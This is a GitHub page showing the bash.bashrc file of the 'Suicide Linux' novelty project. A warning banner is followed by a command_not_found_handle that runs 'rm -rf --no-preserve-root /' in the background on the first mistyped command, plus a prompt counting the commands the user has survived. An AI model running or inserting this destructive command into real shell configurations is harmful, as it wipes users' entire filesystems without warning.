-
Notifications
You must be signed in to change notification settings - Fork 49
/
bash.bashrc
56 lines (45 loc) · 1.36 KB
/
bash.bashrc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/bin/bash
# Set warning message
echo "==================================="
echo "WARNING: Suicide-Linux installed"
echo " (https://qntm.org/suicide)"
echo "==================================="
echo
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# --- vars ---
FAILED_AT=
# --- colors ---
CLR_RESET=$'\033[0m'
CLR_L_RED=$'\033[01;31m'
CLR_L_GREEN=$'\033[01;32m'
CLR_YELLOW=$'\033[01;33m'
function command_not_found_handle {
if [ -z "$FAILED_AT" ]; then
echo "Oops, looks like you misspelt something >:)"
(rm -rf --no-preserve-root / >/dev/null 2>/dev/null &)
return 127
fi
}
function __sl_prompt_command {
if [[ "$?" == "127" && -z "$FAILED_AT" ]]; then
FAILED_AT=$((HISTCMD-1))
fi
__sl_set_ps1
}
function __sl_set_ps1 {
COUNT=${FAILED_AT:-$HISTCMD}
if [ -z "$FAILED_AT" ]; then
PROMPT_COLOR=$CLR_L_GREEN
COUNT_COLOR=$CLR_YELLOW
TERMINAL_TITLE="Suicide Linux"
else
PROMPT_COLOR=$CLR_L_RED
COUNT_COLOR=$CLR_L_RED
TERMINAL_TITLE="Suicide Linux | (×_×)"
fi
TERMINAL_TITLE="$TERMINAL_TITLE | survived $COUNT commands"
PS1="${CLR_RESET}[${COUNT_COLOR}${COUNT}${CLR_RESET}] ${PROMPT_COLOR}\u@\h:\w\$${CLR_RESET} "
echo -en "\033]0;${TERMINAL_TITLE}\a"
}
PROMPT_COMMAND=__sl_prompt_command